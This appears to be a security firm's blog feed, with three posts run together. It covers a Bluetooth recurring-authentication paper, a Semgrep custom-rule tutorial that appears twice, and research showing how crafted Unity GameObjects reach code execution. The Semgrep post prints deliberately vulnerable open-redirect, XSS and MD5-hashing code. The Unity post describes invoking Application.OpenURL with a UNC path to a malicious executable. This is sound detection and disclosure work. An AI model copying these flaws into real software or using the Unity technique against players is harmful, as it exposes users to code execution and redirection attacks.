At IncludeSec we of course love to hack things, but we also love to use our skills and insights into security issues to explore innovative solutions, develop tools, and share resources. In this post we share a summary of a recent paper that I published with fellow researchers in the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec’21). WiSec is a conference well attended by people across industry, government, and academia; it is dedicated to all aspects of security and privacy in wireless and mobile networks and their applications, mobile software platforms, Internet of Things, cyber-physical systems, usable security and privacy, biometrics, and cryptography.
Overview
Recurring Verification of Interaction Authenticity Within Bluetooth Networks Travis Peters (Include Security), Timothy Pierson (Dartmouth College), Sougata Sen (BITS GPilani, KK Birla Goa Campus, India), José Camacho (University of Granada, Spain), and David Kotz (Dartmouth College)
The most common forms of authentication are passwords, potentially used in combination with a second factor such as a hardware token or mobile app (i.e., two-factor authentication). These approaches emphasize a one-time, initial authentication. After initial authentication, authenticated entities typically remain authenticated until an explicit deauthentication action is taken, or the authenticated session expires. Unfortunately, explicit deauthentication happens rarely, if ever. To address this issue, recent work has explored how to provide passive, continuous authentication and/or automatic de-authentication by correlating user movements and inputs with actions observed in an application (e.g., a web browser).
The issue with indefinite trust, however, goes beyond user authentication. Consider devices that pair via Bluetooth, which commonly follow the pattern of pair once, trust indefinitely. After two devices connect, those devices are bonded until a user explicitly removes the bond. This bond is likely to remain intact as long as the devices exist, or until they transfer ownership (e.g., sold or lost).
The increased adoption of (Bluetooth-enabled) IoT devices and reports of the inadequacy of their security makes indefinite trust of devices problematic. The reality of ubiquitous connectivity and frequent mobility gives rise to a myriad of opportunities for devices to be compromised. Thus, I put forth the argument with my academic research colleagues that one-time, single-factor, device-to-device authentication (i.e., an initial pairing) is not enough, and that there must exist some mechanism to frequently (re-)verify the authenticity of devices and their connections.
In our paper we propose a device-to-device recurring authentication scheme – Verification of Interaction Authenticity (VIA) – that is based on evaluating characteristics of the communications (interactions) between devices. We adapt techniques from wireless traffic analysis and intrusion detection systems to develop behavioral models that capture typical, authentic device interactions (behavior); these models enable recurring verification of device behavior.
Technical Highlights
Our recurring authentication scheme is based on off-the-shelf machine learning classifiers (e.g., Random Forest, k-NN) trained on characteristics extracted from Bluetooth/BLE network interactions.
We extract model features from packet headers and payloads. Most of our analysis targets lower-level Bluetooth protocol layers, such as the HCI and L2CAP layers; higher-level BLE protocols, such as ATT, are also information-rich protocol layers. Hybrid models – combining information extracted from various protocol layers – are more complex, but may yield better results.
We construct verification models from a combination of fine-grained and coarse-grained features, including n-grams built from deep packet inspection, protocol identifiers and packet types, packet lengths, and packet directionality (ingress vs. egress).
Other Highlights from the Paper
We collected and presented a new, first-of-its-kind Bluetooth dataset. This dataset captures Bluetooth network traces corresponding to app-device interactions between more than 20 smart-health and smart-home devices. The dataset is open-source and available within the VM linked below.
We enhanced open-source Bluetooth analysis software – bluepy and btsnoop – in an effort to improve the available tools for practical exploration of the Bluetooth protocol and Bluetooth-based apps.
We presented a novel modeling technique, combined with off-the-shelf machine learning classifiers, for characterizing and verifying authentic Bluetooth/BLE app-device interactions.
We implemented our verification scheme and evaluated our approach against a test corpus of 20 smart-home and smart-health devices. Our results show that VIA can be used for verification with an F1-score of 0.86 or better in most test cases.
We are advocates for research that is impactful and reproducible. At WiSec’21 our published work was featured as one of four papers this year that obtained the official replicability badges. These badges signify that our artifacts are available, have been evaluated for accuracy, and that our results were independently reproducible. We thank the ACM the WiSec organizers for working to make sharing and reproducibility common practice in the publication process.
Next Steps
In future work we are interested in exploring a few directions:
Continue to enhance tooling that supports Bluetooth protocol analysis for research and security assessments
Expand our dataset to include more devices, adversarial examples, etc.
Evaluate a real-world deployment (e.g., a smartphone-based multifactor authentication system for Bluetooth); such a deployment would enable us to evaluate practical issues such as verification latency, power consumption, and usability.
Give us a shout if you are interested in our team doing bluetooth hacks for your products!
We customize and use Semgrep a lot during our security assessments at IncludeSec because it helps us quickly locate potential areas of concern within large codebases. Static analysis tools (SAST) such as Semgrep are great for aiding our vulnerability hunting efforts and usually can be tied into Continuous Integration (CI) pipelines to help developers catch potential vulnerabilities early in the development process. In a previous post, we compared two static analysis tools: Brakeman vs. Semgrep. A key takeaway from that post is that when it comes to custom rules, we found that Semgrep was easy to use.
The lovely developers of Semgrep, as well as the general open source community provide pre-written rules for many frameworks that can be used with extreme ease–all it requires is a command line switch and it works. For example:
semgrep --config "p/flask"
Running this on its own can catch bad practices and mistakes. However, writing custom rules can expand Semgrep’s out-of-the-box functionality significantly and is done by advanced security assessors who understand code level security concerns. Whether you want to add rules that look for more specific problems or similar rules with a bigger scope, it’s up to the end-user rule writer to expand in whichever direction they want.
In this post, we walk through some scenarios to write custom Semgrep rules for two popular Python frameworks: Django and Flask.
Why Write Custom Rules for Frameworks?
We see a lot of applications built on top of frameworks like Django and Flask and wanted to prevent duplicative manual effort to identify similar patterns of security concerns on every assessment. While the default community rules are very good in Semgrep, at IncludeSec we needed more than that. Making use of Semgrep’s powerful rules system makes it possible to extend these to cover even more sources of bugs related to framework usage, such as:
vulnerabilities caused by use of specific deprecated APIs
vulnerabilities caused by lack of error checking in specific patterns
vulnerabilities introduced due to lack of locking/mutexes
specific combinations of API calls that can cause inefficiencies or loss of performance, or even introduce race conditions
If any of these issues occur frequently on specific APIs, Semgrep is ideal as a one time investment will pay off dividends in the development process.
Making Use of Frameworks
For developers, using frameworks like Django and Flask make coding easier and more secure. But they aren’t foolproof. If you use them incorrectly, it is still possible to make mistakes. And for each framework, these mistakes tend to follow common patterns.
SAST tools like Semgrep offer the possibility of automating checks for some of these patterns of mistakes to find vulnerabilities that may be common within a framework.
An analogy for SAST tooling is a compiler whose warnings/errors you can configure extremely easily. This makes it a perfect fit when programming specific frameworks, as you can catch potentially dangerous usages of APIs & unsafe operations before code is ever committed. For auditors it is extremely helpful when working with large codebases, which can be daunting at first due to the sheer amount of code. SAST tooling can locate security “codesmells”, and where there is codesmell, there are often leads to possible security issues.
Step 1. Find patterns of mistakes
In order to write custom rules for a framework, you first have to do some research to identify where in the framework mistakes might occur.
The first place to look when identifying bad habits is the official documentation — often one can find big blocks of formatting with the words WARNING, ERROR, MISTAKE. These blocks can often clue you into common problems with examples, avoiding time wasted searching forums/Stack Overflow posts for common bugs.
The next place to search where one can find real world practical examples would be bug bounty platforms, such as HackerOne, BugCrowd, etc. Searching these platforms can result in quite niche but severe mistakes that might not be in official documentation but can occur in live production applications.
Finally, intentionally vulnerable “hack me” applications such as django.nV, which explain common vulnerabilities that might occur. With concise, straightforward exercises that one can do to learn and also hammer in the impact of the bugs at hand.
Warning: You MUST validate the value of the next parameter. If you do not, your application will be vulnerable to open redirects. For an example implementation of is_safe_url see this Flask Snippet.
This block warns us about open redirects in the specific login situation it presents, we’ll use something similar for our vulnerable code example: an open redirect where the redirect parameter comes from a url encoded GET request.
Step 2. Identify the pieces of information and the markers in your code
When writing rules, we have to identify the pieces of information that the specific code encodes. This way we can ensure that the patterns we write will be as accurate as possible. Let’s look at an example from Flask:
In this example code, we can see a piece of Flask code that contains an open redirect vulnerability. We can dissect it into its various properties and see how we can match this in Semgrep. First we’ll mention the specific semantics of this function and what exactly we want to match.
Properties:
1. @app.route("/redirect/") – Already on the first line we see that our target functions have a route decorator that tells us that this function is used to handle a request, or that it directly receives user input by virtue of being an endpoint handler. Matching route/endpoint handlers is effective because input to an endpoint handler is unsanitized and could be a potential area of concern:
from flask import redirect
def do_redirect(uri):
if is_logging_enabled():
log(uri)
return redirect(uri)
@app.route("/redirect/<uri>")
def handle_request(uri):
#unsafe open_redirect
if unsafe_uri(uri):
return redirect_to_index()
return do_redirect(uri)
In the listing above if we were to match every function that includes do_redirect instead of only route handlers that include do_redirect we could end up with false positives where an input to a function has already been sanitized. Already here we have some added complexity that does not bode well with other static analysis tools. In this case we would match do_redirect even though the URI it receives has already been sanitized in the function unsafe_uri(uri). This brings us to our first constraint: we need to match route handlers.
2.def handle_request(uri): – here it’s important that we match a function right below the function decorator, and that this function takes in a parameter. We could match any function that has a route decorator which also contains a redirect, but then we could possibly match a function where the redirect input is constant or comes from sanitized storage. Matching a route handler with a parameter guarantees that it receives unsanitized user input. We can be sure of this because Flask does not do any URL sanitization. Specifying this results in more accurate matching and finer detection and brings us to our second constraint: that we need to match route handlers with 1 or more parameters
3. return redirect(uri) – here it may seem obvious, all we have to do is match redirect, right? Sadly, it is not that easy. Many APIs can have generic names that may collide with other modules using a generic text/regex search, this can be especially problematic in languages that support function overloading, where a specific overloaded instance of a function may have problems, but other overloaded instances are fine. Not accounting for these may result in many false positives. For example, consider the following snippet:
If we only matched redirect, we would match the redirect function from a module named robot which could be a false positive. An even more horrifying scenario to match would be an API or module that is imported under another name, e.g.:
from flask import redirect as rd
Thankfully, specifying the origin of the function allows Semgrep to handle all these cases and we’ll go more into detail on this when developing the patterns.
What does a good pattern account for?
A good pattern depends on your goals and how you use rules: finding performance bottlenecks, enforcing better programming practices, or finding security concerns as an auditor, everyone’s needs are different.
For a security assessment, it is important to find potential areas of concern, for example often areas that do not include sanitization are potentially dangerous. Ideally we want to eliminate as many false positives as possible and we can do this by excluding functions with sanitization. This brings us to our final constraint: we don’t want to match any functions containing sanitization keywords.
The Constraints
So far we have the following constraints:
match a route handler
match a function that takes in 1 or more parameters
match a redirect in the function that takes in a parameter from the function
IDEALLY: don’t match a function containing sanitization keywords
Step 3. Developing The Pattern
Now that we know all the constraints, and the semantics of the code we want to match we can finally start writing the pattern. I’ll put the end pattern for display, and we’ll dissect it together. Semgrep takes YAML files that describe multiple rules. Each rule contains a specific pattern to match.
rules: – Every Semgrep rule file has to start with the rules tag, this is an array of rules as a Semgrep rule file may contain multiple rules.
- id: my_pattern_id Every Semgrep rule in the rules array has an id, this is essentially the name of the rule and must be unique.
languages:
- python
The language this rule works with. This determines how it parses the pattern & which files it checks.
message: found open redirect– the message displayed when the Semgrep search matches a pattern, you can think of this like a compiler warning message.
severity: ERROR– determines the color and other aspects of the messages upon a successful match. You can think of this as a compiler error, except it’s just a more severe warning, this is good for filtering through different levels of matches with Semgrep, or to cut down on time by searching only for erroneous patterns.
This is the final part of the rule and contains the actual logic of the pattern, a rule has to contain a top-level pattern element. In order for a match to be successful the final result of all the logic has to be true. In this case the top level element is a patterns, which only returns true if all the elements underneath it return true.
This pattern searches for code that satisfies the first 3 constraints, with the ellipsis representing anything. @app.route(...) will match any call to that function with any number of arguments (including none).
def $X(..., $URI_VAR, ...):
matches any function, and stores its name in the variable $X. It then matches any argument in this function, whether it be in the middle or at the end and stores it in $URI_VAR.
The Ellipsisfollowing matches any code in this function until the next statement in the pattern which in this case is flask.redirect($URI_VAR) which matches redirect only if its arguments come from the function variable $URI_VAR. If these constraints are all satisfied, it then passes the text it matches onto the next pattern and it returns true.
One amazing feature of Semgrep is its ability to match fully qualified function names, even when they are imported with an alias. In this case, matching flask.redirect($URI_VAR) would match only redirects from flask, even if they are imported with another name (such as redir or rd).
This pattern is responsible for eliminating potential false positives. It’s very simple: it runs a regex against the matched text and if the regex comes back with any matches, it returns false otherwise it returns true. This element is responsible for checking if sanitization elements exist in the function code. The text that is used to check for these sanitization elements is obviously not perfect, but it can be tailored to the project you are working on and can always be extended to include more possible keywords.
Step 4. Testing & Debugging
Now that we’ve made our pattern, we can test it on the online Semgrep playground to see if it works. Here we can make small changes and get instant feedback in order to improve our patterns. Below is an example of the rules at work matching the unsanitized open redirect and ignoring the safe redirect.
When designing these patterns, it’s possible to spend all your time trying to write the best pattern that catches every situation, filters out all the false-positives and what not, but this is an almost futile endeavor and can lead into rabbit holes. Also, overly precise rules may filter things that weren’t even meant to be filtered. The dilemma always comes down to how many false positives are you willing to handle–this tradeoff is up to Semgrep users to decide for themselves. When absolutely critical it may be better to have more false positives but to catch everything, whereas from an auditor’s perspective it may be better to have a more precise ruleset to start with a good lead and to be efficient, and then audit unmatched code later. Or perhaps a graduated approach where higher false positive rules are enabled for subsequent runs of SAST tooling.
Return on Investment
When it comes to analysis tools, it’s important to understand how much you need to set up & maintain to truly get value back. If they are complicated to update and maintain sometimes it’s just not worth it. The great upside to Semgrep is the ease of use–one can start developing patterns after doing the 20 minute tutorial and make a significant amount of rules in a day, and the benefits can be felt immediately. It requires no fiddling with versions or complicated compiler setup, and once a ruleset has been developed it’ll work on any supported languages.
Showcase – Django.nV
Django.nV is a very well-made intentionally vulnerable application that uses the Django framework to introduce a variety of bugs for learning framework-specific penetration testing, from XSS to more framework specific bugs. Thanks to nVisium for making a great training application open source!
We used Django.nV to test IncludeSec’s inhouse rules and came up with 4 new instances of vulnerabilities that the community rulesets missed:
django.nV/taskManager/settings.py
severity:warning rule:MD5Hasher for password: use a more secure hashing algorithm for password
124:PASSWORD_HASHERS = ['django.contrib.auth.hashers.MD5PasswordHasher']
django.nV/taskManager/templates/taskManager/base_backend.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
58: <span class="username"><i class="fa fa-user fa-fw"></i> {{ user.username|safe }}</span>
django.nV/taskManager/templates/taskManager/tutorials/base.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
54: <span class="username">{{ user.username|safe }}</span>
django.nV/taskManager/views.py
severity:warning rule:django open redirect: unvalidated open redirect
394: return redirect(request.GET.get('redirect', '/taskManager/'))
MD5Hashing – detects that the MD5Hasher has been used for passwords, which is cryptographically insecure.
Unsafe template usage in HTML – detects the use of user parameters with the safe keyword in html, which could introduce XSS.
Open redirect – very similar to the example patterns we already discussed. It detects an open redirect in the logout view.
We’ve collaborated with the kind developers of Semgrep and the people over at returntocorp (ret2c) to get certain rules in the default Django Semgrep rule repository.
Conclusion
In conclusion, Semgrep makes it relatively painless to write custom static analysis rules to audit applications. Improper usage of framework APIs can be a common source of bugs, and we at IncludeSec found that a small amount of up front investment learning the syntax paid dividends when auditing applications using these frameworks.
We customize and use Semgrep a lot during our security assessments at IncludeSec because it helps us quickly locate potential areas of concern within large codebases. Static analysis tools (SAST) such as Semgrep are great for aiding our vulnerability hunting efforts and usually can be tied into Continuous Integration (CI) pipelines to help developers catch potential vulnerabilities early in the development process. In a previous post, we compared two static analysis tools: Brakeman vs. Semgrep. A key takeaway from that post is that when it comes to custom rules, we found that Semgrep was easy to use.
The lovely developers of Semgrep, as well as the general open source community provide pre-written rules for many frameworks that can be used with extreme ease–all it requires is a command line switch and it works. For example:
semgrep --config "p/flask"
Running this on its own can catch bad practices and mistakes. However, writing custom rules can expand Semgrep’s out-of-the-box functionality significantly and is done by advanced security assessors who understand code level security concerns. Whether you want to add rules that look for more specific problems or similar rules with a bigger scope, it’s up to the end-user rule writer to expand in whichever direction they want.
In this post, we walk through some scenarios to write custom Semgrep rules for two popular Python frameworks: Django and Flask.
Why Write Custom Rules for Frameworks?
We see a lot of applications built on top of frameworks like Django and Flask and wanted to prevent duplicative manual effort to identify similar patterns of security concerns on every assessment. While the default community rules are very good in Semgrep, at IncludeSec we needed more than that. Making use of Semgrep’s powerful rules system makes it possible to extend these to cover even more sources of bugs related to framework usage, such as:
vulnerabilities caused by use of specific deprecated APIs
vulnerabilities caused by lack of error checking in specific patterns
vulnerabilities introduced due to lack of locking/mutexes
specific combinations of API calls that can cause inefficiencies or loss of performance, or even introduce race conditions
If any of these issues occur frequently on specific APIs, Semgrep is ideal as a one time investment will pay off dividends in the development process.
Making Use of Frameworks
For developers, using frameworks like Django and Flask make coding easier and more secure. But they aren’t foolproof. If you use them incorrectly, it is still possible to make mistakes. And for each framework, these mistakes tend to follow common patterns.
SAST tools like Semgrep offer the possibility of automating checks for some of these patterns of mistakes to find vulnerabilities that may be common within a framework.
An analogy for SAST tooling is a compiler whose warnings/errors you can configure extremely easily. This makes it a perfect fit when programming specific frameworks, as you can catch potentially dangerous usages of APIs & unsafe operations before code is ever committed. For auditors it is extremely helpful when working with large codebases, which can be daunting at first due to the sheer amount of code. SAST tooling can locate security “codesmells”, and where there is codesmell, there are often leads to possible security issues.
Step 1. Find patterns of mistakes
In order to write custom rules for a framework, you first have to do some research to identify where in the framework mistakes might occur.
The first place to look when identifying bad habits is the official documentation — often one can find big blocks of formatting with the words WARNING, ERROR, MISTAKE. These blocks can often clue you into common problems with examples, avoiding time wasted searching forums/Stack Overflow posts for common bugs.
The next place to search where one can find real world practical examples would be bug bounty platforms, such as HackerOne, BugCrowd, etc. Searching these platforms can result in quite niche but severe mistakes that might not be in official documentation but can occur in live production applications.
Finally, intentionally vulnerable “hack me” applications such as django.nV, which explain common vulnerabilities that might occur. With concise, straightforward exercises that one can do to learn and also hammer in the impact of the bugs at hand.
Warning: You MUST validate the value of the next parameter. If you do not, your application will be vulnerable to open redirects. For an example implementation of is_safe_url see this Flask Snippet.
This block warns us about open redirects in the specific login situation it presents, we’ll use something similar for our vulnerable code example: an open redirect where the redirect parameter comes from a url encoded GET request.
Step 2. Identify the pieces of information and the markers in your code
When writing rules, we have to identify the pieces of information that the specific code encodes. This way we can ensure that the patterns we write will be as accurate as possible. Let’s look at an example from Flask:
In this example code, we can see a piece of Flask code that contains an open redirect vulnerability. We can dissect it into its various properties and see how we can match this in Semgrep. First we’ll mention the specific semantics of this function and what exactly we want to match.
Properties:
1. @app.route("/redirect/") – Already on the first line we see that our target functions have a route decorator that tells us that this function is used to handle a request, or that it directly receives user input by virtue of being an endpoint handler. Matching route/endpoint handlers is effective because input to an endpoint handler is unsanitized and could be a potential area of concern:
from flask import redirect
def do_redirect(uri):
if is_logging_enabled():
log(uri)
return redirect(uri)
@app.route("/redirect/<uri>")
def handle_request(uri):
#unsafe open_redirect
if unsafe_uri(uri):
return redirect_to_index()
return do_redirect(uri)
In the listing above if we were to match every function that includes do_redirect instead of only route handlers that include do_redirect we could end up with false positives where an input to a function has already been sanitized. Already here we have some added complexity that does not bode well with other static analysis tools. In this case we would match do_redirect even though the URI it receives has already been sanitized in the function unsafe_uri(uri). This brings us to our first constraint: we need to match route handlers.
2.def handle_request(uri): – here it’s important that we match a function right below the function decorator, and that this function takes in a parameter. We could match any function that has a route decorator which also contains a redirect, but then we could possibly match a function where the redirect input is constant or comes from sanitized storage. Matching a route handler with a parameter guarantees that it receives unsanitized user input. We can be sure of this because Flask does not do any URL sanitization. Specifying this results in more accurate matching and finer detection and brings us to our second constraint: that we need to match route handlers with 1 or more parameters
3. return redirect(uri) – here it may seem obvious, all we have to do is match redirect, right? Sadly, it is not that easy. Many APIs can have generic names that may collide with other modules using a generic text/regex search, this can be especially problematic in languages that support function overloading, where a specific overloaded instance of a function may have problems, but other overloaded instances are fine. Not accounting for these may result in many false positives. For example, consider the following snippet:
If we only matched redirect, we would match the redirect function from a module named robot which could be a false positive. An even more horrifying scenario to match would be an API or module that is imported under another name, e.g.:
from flask import redirect as rd
Thankfully, specifying the origin of the function allows Semgrep to handle all these cases and we’ll go more into detail on this when developing the patterns.
What does a good pattern account for?
A good pattern depends on your goals and how you use rules: finding performance bottlenecks, enforcing better programming practices, or finding security concerns as an auditor, everyone’s needs are different.
For a security assessment, it is important to find potential areas of concern, for example often areas that do not include sanitization are potentially dangerous. Ideally we want to eliminate as many false positives as possible and we can do this by excluding functions with sanitization. This brings us to our final constraint: we don’t want to match any functions containing sanitization keywords.
The Constraints
So far we have the following constraints:
match a route handler
match a function that takes in 1 or more parameters
match a redirect in the function that takes in a parameter from the function
IDEALLY: don’t match a function containing sanitization keywords
Step 3. Developing The Pattern
Now that we know all the constraints, and the semantics of the code we want to match we can finally start writing the pattern. I’ll put the end pattern for display, and we’ll dissect it together. Semgrep takes YAML files that describe multiple rules. Each rule contains a specific pattern to match.
rules: – Every Semgrep rule file has to start with the rules tag, this is an array of rules as a Semgrep rule file may contain multiple rules.
- id: my_pattern_id Every Semgrep rule in the rules array has an id, this is essentially the name of the rule and must be unique.
languages:
- python
The language this rule works with. This determines how it parses the pattern & which files it checks.
message: found open redirect– the message displayed when the Semgrep search matches a pattern, you can think of this like a compiler warning message.
severity: ERROR– determines the color and other aspects of the messages upon a successful match. You can think of this as a compiler error, except it’s just a more severe warning, this is good for filtering through different levels of matches with Semgrep, or to cut down on time by searching only for erroneous patterns.
This is the final part of the rule and contains the actual logic of the pattern, a rule has to contain a top-level pattern element. In order for a match to be successful the final result of all the logic has to be true. In this case the top level element is a patterns, which only returns true if all the elements underneath it return true.
This pattern searches for code that satisfies the first 3 constraints, with the ellipsis representing anything. @app.route(...) will match any call to that function with any number of arguments (including none).
def $X(..., $URI_VAR, ...):
matches any function, and stores its name in the variable $X. It then matches any argument in this function, whether it be in the middle or at the end and stores it in $URI_VAR.
The Ellipsisfollowing matches any code in this function until the next statement in the pattern which in this case is flask.redirect($URI_VAR) which matches redirect only if its arguments come from the function variable $URI_VAR. If these constraints are all satisfied, it then passes the text it matches onto the next pattern and it returns true.
One amazing feature of Semgrep is its ability to match fully qualified function names, even when they are imported with an alias. In this case, matching flask.redirect($URI_VAR) would match only redirects from flask, even if they are imported with another name (such as redir or rd).
This pattern is responsible for eliminating potential false positives. It’s very simple: it runs a regex against the matched text and if the regex comes back with any matches, it returns false otherwise it returns true. This element is responsible for checking if sanitization elements exist in the function code. The text that is used to check for these sanitization elements is obviously not perfect, but it can be tailored to the project you are working on and can always be extended to include more possible keywords.
Step 4. Testing & Debugging
Now that we’ve made our pattern, we can test it on the online Semgrep playground to see if it works. Here we can make small changes and get instant feedback in order to improve our patterns. Below is an example of the rules at work matching the unsanitized open redirect and ignoring the safe redirect.
When designing these patterns, it’s possible to spend all your time trying to write the best pattern that catches every situation, filters out all the false-positives and what not, but this is an almost futile endeavor and can lead into rabbit holes. Also, overly precise rules may filter things that weren’t even meant to be filtered. The dilemma always comes down to how many false positives are you willing to handle–this tradeoff is up to Semgrep users to decide for themselves. When absolutely critical it may be better to have more false positives but to catch everything, whereas from an auditor’s perspective it may be better to have a more precise ruleset to start with a good lead and to be efficient, and then audit unmatched code later. Or perhaps a graduated approach where higher false positive rules are enabled for subsequent runs of SAST tooling.
Return on Investment
When it comes to analysis tools, it’s important to understand how much you need to set up & maintain to truly get value back. If they are complicated to update and maintain sometimes it’s just not worth it. The great upside to Semgrep is the ease of use–one can start developing patterns after doing the 20 minute tutorial and make a significant amount of rules in a day, and the benefits can be felt immediately. It requires no fiddling with versions or complicated compiler setup, and once a ruleset has been developed it’ll work on any supported languages.
Showcase – Django.nV
Django.nV is a very well-made intentionally vulnerable application that uses the Django framework to introduce a variety of bugs for learning framework-specific penetration testing, from XSS to more framework specific bugs. Thanks to nVisium for making a great training application open source!
We used Django.nV to test IncludeSec’s inhouse rules and came up with 4 new instances of vulnerabilities that the community rulesets missed:
django.nV/taskManager/settings.py
severity:warning rule:MD5Hasher for password: use a more secure hashing algorithm for password
124:PASSWORD_HASHERS = ['django.contrib.auth.hashers.MD5PasswordHasher']
django.nV/taskManager/templates/taskManager/base_backend.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
58: <span class="username"><i class="fa fa-user fa-fw"></i> {{ user.username|safe }}</span>
django.nV/taskManager/templates/taskManager/tutorials/base.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
54: <span class="username">{{ user.username|safe }}</span>
django.nV/taskManager/views.py
severity:warning rule:django open redirect: unvalidated open redirect
394: return redirect(request.GET.get('redirect', '/taskManager/'))
MD5Hashing – detects that the MD5Hasher has been used for passwords, which is cryptographically insecure.
Unsafe template usage in HTML – detects the use of user parameters with the safe keyword in html, which could introduce XSS.
Open redirect – very similar to the example patterns we already discussed. It detects an open redirect in the logout view.
We’ve collaborated with the kind developers of Semgrep and the people over at returntocorp (ret2c) to get certain rules in the default Django Semgrep rule repository.
Conclusion
In conclusion, Semgrep makes it relatively painless to write custom static analysis rules to audit applications. Improper usage of framework APIs can be a common source of bugs, and we at IncludeSec found that a small amount of up front investment learning the syntax paid dividends when auditing applications using these frameworks.
At IncludeSec our clients are asking us to hack on all sorts of crazy applications from mass scale web systems to IoT devices and low-level firmware. Something that we’re seeing more of is hacking virtual reality systems and mass scale video games so we had a chance to do some research and came up with what we believe to be a novel attack against Unity-powered games!
Specifically, this post will outline:
Two ways I found that GameObjects (a non-code asset type) can be crafted to cause arbitrary code to run.
Five possible ways an attacker might use a malicious GameObject to compromise a Unity game.
How game developers can mitigate the risk.
Unity has also published their own blog post on this subject. Be sure to check that out for their specific recommendations and how to protect against this sort of vulnerability.
Terminology
First a brief primer on the terms I’m going to use for those less familiar with Unity.
GameObjects are entities in Unity that can have any number of components attached.
Components are added to GameObjects to make them do things. They include Unity built-in components, like UI elements and sprite renderers, as well as custom scripted components used to build the game logic.
Assets are the elements that make up the game. This includes images, sounds, scripts, and GameObjects, among other things.
AssetBundles are a way to package non-code assets and allow them to be loaded at runtime (from the web or locally). They are used to decrease initial download size, allow downloadable content, as well as sometimes to enable modding of the game.
Ways a malicious GameObject could get into a game
Before going into details about how a GameObject could execute code, let’s talk about how it would get in the game in the first place so that we’re clear on the attack scenarios. I came up with five ways a malicious GameObject might find its way into a Unity game:
Way 1: the most obvious route is if the game developer downloaded it and added it to the game project. This might be an asset they purchased on the Unity Asset Store, or something they found on GitHub that solved a problem they were having.
Way 2: Unity AssetBundles allow non-script assets (including GameObjects) to be imported into a game at runtime. There may be an assumption that these assets are safe, since they contain no custom script assets, but as you’ll see further into the post that is not a safe assumption. For example, sometimes AssetBundles are used to add modding functionality to a game. If that’s the case, then third-party mods downloaded by a user can unexpectedly cause code execution, similar to running untrusted programs from the internet.
Way 3: AssetBundles can be downloaded from the internet at runtime without transport encryption enabling man-in-the-middle attacks. The Unity documentation has an example of how to do this, partially listed below:
In the Unity-provided example, the AssetBundle is being downloaded over HTTP. If an AssetBundle is downloaded over HTTP (which lacks the encryption and certificate validation of HTTPS), an attacker with a man-in-the-middle position of whoever is running the game could tamper with the AssetBundle in transit and replace it with a malicious one. This could, for example, affect players who are playing on an untrusted network such as a public WiFi access point.
Way 4: AssetBundles can be downloaded from the internet at runtime with transport encryption but man-in-the-middle attacks might still be possible.
Unity has this to say about certificate validation when using UnityWebRequests:
Some platforms will validate certificates against a root certificate authority store. Other platforms will simply bypass certificate validation completely.
According to the docs, even if you use HTTPS, on certain platforms Unity won’t check certificates to verify it’s communicating with the intended server, opening the door for possible AssetBundle tampering. It’s possible to create your own certificate handler, but only on specific platforms:
Note: Custom certificate validation is currently only implemented for the following platforms – Android, iOS, tvOS and desktop platforms.
I could not find information about which platforms “bypass certificate validation completely”, but I’m guessing it’s the less-common ones? Still, if you’re developing a game that downloads AssetBundles, you might want to verify that certificate validation is working on the platforms you use.
Way 5: Malicious insider. A contributor on a development team or open source project wants to add some bad code to a game. But maybe the dev team has code reviews to prevent this sort of thing. Likely, those code reviews don’t extend to the GameObjects themselves, so the attacker smuggles their code into a GameObject that gets deployed with the game.
Crafting malicious GameObjects
I think it’s pretty obvious why you wouldn’t want arbitrary code running in your game — it might compromise players’ computers, steal their data, crash the game, etc. If the malicious code runs on a development machine, the attacker could potentially steal the source code or pivot to attack the studio’s internal network. Peter Clemenko had another interesting perspective on his blog: essentially, in the near-future augmented-reality cyberpunk ready-player-1 upcoming world an attacker may seek to inject things into a user’s reality to confuse, distract, annoy, and that might cause real-world harm.
So, how can non-script assets get code execution?
Method 1: UnityEvents
Unity has an event system that allows hooking up delegates in code that will be called when an event is triggered. You can use them in your custom scripts for game-specific events, and they are also used on Unity’s built-in UI components (such as Buttons) for event handlers (like onClick) . Additionally, you can add ones to objects such as PointerClick, PointerEnter, Scroll, etc. using an EventTrigger component
One-parameter UnityEvents can be exposed in the inspector by components. In normal usage, setting up a UnityEvent looks like this in the Unity inspector:
First you have to assign a GameObject to receive the event callback (in this case, “Main Camera”). Then you can look through methods and properties on any components attached to that GameObject, and select a handler method.
Many assets in Unity, including scenes and GameObject prefabs, are serialized as YAML files that store the various properties of the object. Opening up the object containing the above event trigger, the YAML looks like this:
The most important part is under m_Delegates — that’s what controls which methods are invoked when the event is triggered. I did some digging in the Unity C# source repo along with some experimenting to figure out what some of these properties are. First, to summarize my findings: UnityEvents can call any method that has a return type void and takes zero or one argument of a supported type. This includes private methods, setters, and static methods. Although the UI restricts you to invoking methods available on a specific GameObject, editing the object’s YAML does not have that restriction — they can call any method in a loaded assembly . You can skip to exploitation below if you don’t need more details of how this works.
Technical details
UnityEvents technically support delegate functions with anywhere from zero to four parameters, but unfortunately Unity does not use any UnityEvents with greater than one parameter for its built-in components (and I found no way to encode more parameters into the YAML). We are therefore limited to one-parameter functions for our attack.
The important fields in the above YAML are:
eventID — This is specific to EventTriggers (rather than UI components.) It specifies the type of event, PointerClick, PointerHover, etc. PointerClick is “4”.
m_TargetAssemblyTypeName — this is the fully qualified .NET type name that the event handler function will be called on. Essentially this takes the form: namespace.typename, assemblyname. It can be anything in one of the assemblies loaded by Unity, including all Unity engine stuff as well as a lot of .NET stuff.
m_callstate — Determines when the event triggers — only during a game, or also while using the Unity Editor:
0 – UnityEventCallState.Off
1 – UnityEventCallState.EditorAndRuntime
2 – UnityEventCallState.RuntimeOnly
m_mode — Determines the argument type of the called function.
0 – EventDefined
1 – Void,
2 – Object,
3 – Int,
4 – Float,
5 – String,
6 – Bool
m_target — Specify the Unity object instance that the method will be called on. Specifying m_target: {fileId: 0} allows static methods to be called.
Unity uses C# reflection to obtain the method to call based on the above. The code ultimately used to obtain the method is shown below:
With the binding flags provided, it’s possible to specify private or public methods, static or instance methods. When calling the function, a delegate is created with type UnityAction that has a return type of void — therefore, the specified function must have a void return type.
Exploitation
My goal after discovering the above was to find some method available in the default loaded assemblies fitting the correct form (static, return void, exactly 1 parameter) which would let me do Bad Things. Ideally, I wanted to get arbitrary code execution, but other things could be interesting too. If I could hook up an event handler to something dangerous, we would have a malicious GameObject.
I was quickly able to get arbitrary code execution on Windows machines by invoking Application.OpenURL() with a UNC path pointing to a malicious executable on a network share. The attacker would host a malicious exe file, and wait for the game client to trigger the event. OpenURL will then download and execute the payload.
